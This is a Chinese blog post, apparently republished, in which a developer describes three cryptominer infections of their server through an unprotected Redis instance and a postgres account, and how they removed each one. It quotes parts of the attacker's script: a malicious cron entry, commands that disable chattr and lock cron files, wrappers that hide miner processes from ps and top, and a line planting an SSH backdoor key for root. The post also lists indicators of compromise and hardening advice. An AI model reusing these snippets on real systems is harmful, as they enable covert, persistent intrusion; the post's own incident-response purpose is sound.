記錄經歷的幾次服務器被黑挖礦


記被挖礦經歷

第一次被黑

第一次是在做一個簡單項目開發過程中,為了方便將Redis放開了IP限制可以隨意連接且沒有設置密碼,因為服務器上還有一個自己做的空閑教室查詢的后台,有一天在尋找自習室時發現無法訪問查詢服務,隨即連接服務器查看情況,輸入top命令,發現有一個名為phpupgrade的進程占用了所有的CPU,使用kill -9命令殺死該進程后過了幾十秒此進程重新啟動,使用crontab -l指令查看定時任務發現定時任務為空,說明后台還有一個喚醒程序,但是由於這個喚醒程序占用很低所以也就並沒有出現在top命令中,於是在再次殺死這個挖礦進程后,使用top命令發現出現一個phpguard的程序,判定正是此程序不斷重啟挖礦進程,於是先殺死這個守衛進程再殺死挖礦進程,設置RedisIP限制,此次問題得以修復,但是由於此次被黑解決的很簡單,也沒有意識進行記錄,但是沒想到這還只是個開始。

第二次被黑

有一天突發奇想要學習一下postgresql,於是在服務器上安裝了postgresql,由於postgresql安裝的特殊性,這個數據庫需要創建一個名為postgres的新用戶,這就為第二次被黑埋下了伏筆(盡管已經使用了數字字母組合密碼),某日遠程連接服務器時覺得異常卡頓,使用top命令發現一個高CPU占用率的進程,有了第一次的經驗,首先查看定時任務依然沒有發現,使用ps命令查看進程信息也沒有找到這個進程,同樣殺死一次隔一段時間還會重啟,這時注意到此進程的發起者正是postgres,查看此賬號的進程,果然發現了挖礦程序,切換到此賬號后再次查看定時任務列表發現了定時重啟任務,這樣問題就得以解決:清空定時任務、殺死挖礦進程,但是postgresql還要繼續使用,無奈,只能切換回root用戶,調用passwd -l postgres鎖定這個賬號,這樣此賬號無法遠程登錄但是數據庫還是可以正常使用

第三次被黑

這次還是redis,為了測試主從復制,為了方便的查看主庫、從庫中存儲的內容,打算使用RedisDesktopManager進行可視化查看,最初認為只開放幾分鍾應該問題不大(我是真沒想到無孔不入,艹)放開了redis IP限制,啟動Redis后不到20秒,我在使用上述軟件連接Redis服務器后發現里面居然有四個key(當時我就裂開了),打開一個一看,value中赫然寫着一條定時任務,就是下面這條

*/30 * * * * sh /etc/newinit.sh >/dev/null 2>&1

調用top和ps命令都無法看到高占用進程但是free命令確確實實告訴我內存不夠用了,且定時任務列表crontab也不能編輯上面的腳本也無法刪除,提示權限不足,無奈只好查看這個定時任務中的腳本內容

整個腳本共1018行,先從解決問題的方面說起,Linux命令:chattr

chattr命令用於修改Linux中文件的屬性,語法如下

chattr [ -RVf ] [ -v version ] [ mode ] files...

一個通用格式是:+-=[aAcCdDeijsStTu]

‘+’選項,將給文件添加屬性;‘-’選項,移除文件中的屬性;‘=’選項,使得文件只有這些屬性。

字母 'aAcCdDeijsStTu' 可以賦予文件的新屬性:

  • a:只能附加數據
  • A:不修改訪問時間
  • c:壓縮文件
  • C:不執行寫入時復制,多個調用者獲取同一個資源,這時另一個調用者對這個資源進行了修改,不生成一個副本
  • d:不 dump
  • D: 同步更新目錄
  • e:extent格式(一種文件系統格式)
  • i:不能修改。不能刪除或重命名,不能創建到該文件的鏈接,也不能向該文件寫入數據。只有超級用戶或擁有 CAP_LINUX_IMMUTABLE 能力的進程才能設置或清除此屬性。
  • j:數據日志
  • s:安全刪除
  • S:同步更新
  • t:不知道文件尾部合並
  • T:目錄層次的頂部
  • u:文件被刪除時,其內容會被保存,后面可以請求恢復

下面的只讀屬性,可以使用 lsattr列出,但不能被 chattr 修改:

  • E:壓縮錯誤
  • h:巨大的文件
  • I:索引目錄
  • N:內聯數據
  • X:壓縮原始訪問
  • Z:壓縮文件是臟的

這里的主角主要是aiu三個參數,普通文件一般只有一個e表示,可以通過lsattr *查看當前目錄下所有文件標識或lsattr file查看指定文件的標識

如何讓一個文件只讀?

chattr +i test.txt

上述指令為test.txt賦予了i標記,需要使用root賬戶或sudo

如何取消只讀?

chattr -i test.txt

如何對一個路徑下的所有文件作出限制?

chattr -R +i ./test-dir/

-R表示遞歸的改變目錄及其內容的屬性

上述指令會導致test-dir中所有文件都是只讀的

有了上述理論基礎后,使用lsattr *命令查看/etc/目錄下所有文件的信息,發現數個帶有-i標記的文件且創建日期就在開啟Redis后,於是嘗試使用chattr修改文件限制但是提示chattr權限不足,仔細查看腳本,發現第1003行與1004行有以下內容:

chmod 444 /usr/bin/chattr
chmod 444 /bin/chattr

該腳本將chattr設置為只讀不可執行,這正是原因所在,由於定時任務仍然存在,只有三十秒的時間完成修改屬性、刪除腳本的操作,於是首先快速修改此腳本屬性並執行rm指令將其刪除(具體細節略有遺忘,但大體思路就這樣):

chmod 777 /usr/bin/chattr
chmod 777 /bin/chattr
chattr -ai /etc/newinit.sh 
rm -rf /etc/newinit.sh

執行上述命令后成功刪除腳本,至此算是打掉了挖礦程序的復活甲

接着同樣先解鎖定時任務刪除被篡改的內容,在腳本中發現如下內容:

unlock_cron()
{
    chattr -R -ia /var/spool/cron
    chattr -ia /etc/crontab
    chattr -R -ia /var/spool/cron/crontabs
    chattr -R -ia /etc/cron.d
}

lock_cron()
{
    chattr -R +ia /var/spool/cron
    chattr +ia /etc/crontab
    chattr -R +ia /var/spool/cron/crontabs
    chattr -R +ia /etc/cron.d
}

論規范編碼的重要性!把unlock中的語句執行一遍即可解鎖定時任務,然后就能清空定時任務

然后問題來了,為什么ps命令與top命令無法查看到挖礦進程信息呢?

在腳本中存在如下語句

mv /bin/ps /bin/ps.original 
echo "#! /bin/bash">>/bin/ps
echo "ps.original \$@ | grep -v \"zzh\|pnscan\"">>/bin/ps
chmod +x /bin/ps
mv /bin/top /bin/top.original 
echo "#! /bin/bash">>/bin/top
echo "top.original \$@ | grep -v \"zzh\|pnscan\"">>/bin/top
chmod +x /bin/top

該腳本通過修改ps、top程序名並將帶有過濾功能的腳本插入到新創建的ps、top文件且賦予可執行權限,劫持了ps命令和top命令,也就是說現在調用的是濾掉挖礦程序的ps和top命令,但是這也同時將兩個關鍵進程暴露在我們面前,於是調用top.original就能看到真實的進程信息,殺死指定進程即可,然后刪除etc目錄中的zzh文件

此外這個腳本還改寫了authorized_keys設置免密登錄后門

chmod 700 /root/.ssh/
echo >> /root/.ssh/authorized_keys
chmod 600 /root/.ssh/authorized_keys
echo "ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABgQC3QgqCevA1UIX9jkWJNzaDHmCFQMCVn6DlhT8Tj1CcBLouOPpuBVqGoZem9UT/sdy563H+e1cQD6LRA9lgyBO8VBOuyjlPf/rdYeXZRv9eFZ4ROGCOX/dvNzV9XdEyPX+znEL4AS45ko0obSqNGbserHPcKtXBjjcf9zWtRvBA4lteyXENWeCST61OhVI0K7bNTUHsQhFC0rgiGFqVv+kIwMVauMxeNd5PjsES4C5P9G8Ynligmdxp7LdOFeb5/V/iO8eceQsxLyXVCe2Jue5gaaOIbKy2j2HPxj6qK2BUqlx+dJdat6HE2HyPWDKD5jPyA5RCSs1zphe7BQjH20cX1nyzbhxNNQncs5BfB0kk2Qcb9IS/ofX9p8zIVKLUHMUNC9mKqPljzxH/3wYnOZrgebS4uwfyad+6SQ1oRfs1vWotXxSz1hBjhRPpUqzA7J865AcSOZBaoRsRKZ1BaGMyJyjIfkecFgeDpmbHzOzCjIXAeh20S2wLYZGdrhgVEr0= uc1" > /root/.ssh/authorized_keys

將這個文件內容清空即可,至此此次被黑基本解決,資源占用恢復正常

總結這個腳本的功能
  • 利用Docker Api未授權命令執行創建容器,並進一步下載執行名為trace的門羅幣挖礦木馬。(腳本中有相關語句但是這個腳本將安裝docker這句給注釋了,而這個服務器沒有docker環境,所以沒啥用)
  • 會嘗試卸載雲主機安全軟件,嘗試結束清除其它競品挖礦木馬。(是的,還帶卷的,專門有個函數kill_miner_proc())
  • 對ps,top,pstree等系統工具進行重命名和替換,進而通過劫持工具運行參數的方式,實現隱蔽挖礦
  • 改寫authorized_keys設置免密登錄后門
  • 木馬會下載編譯pnscan,masscan掃描工具

着重檢查以下文件:

/etc/zzh
/tmp/zzh
/etc/strace
/tmp/strace
/tmp/hxx
/tmp/ps

排查ps,top,pstree等工具文件是否被替換。

排查清理以下可疑進程

zzh
strace
pnscan
masscan
hxx

建議:

Redis 服務端口不要暴露在公網,使用強口令。
配置SSH服務使用強口令。

附錄:

挖礦腳本全文:newinit.sh


免責聲明!

本站轉載的文章為個人學習借鑒使用,本站對版權不負任何法律責任。如果侵犯了您的隱私權益,請聯系本站郵箱yoyou2525@163.com刪除。



 
粵ICP備18138465號   © 2018-2025 CODEPRJ.COM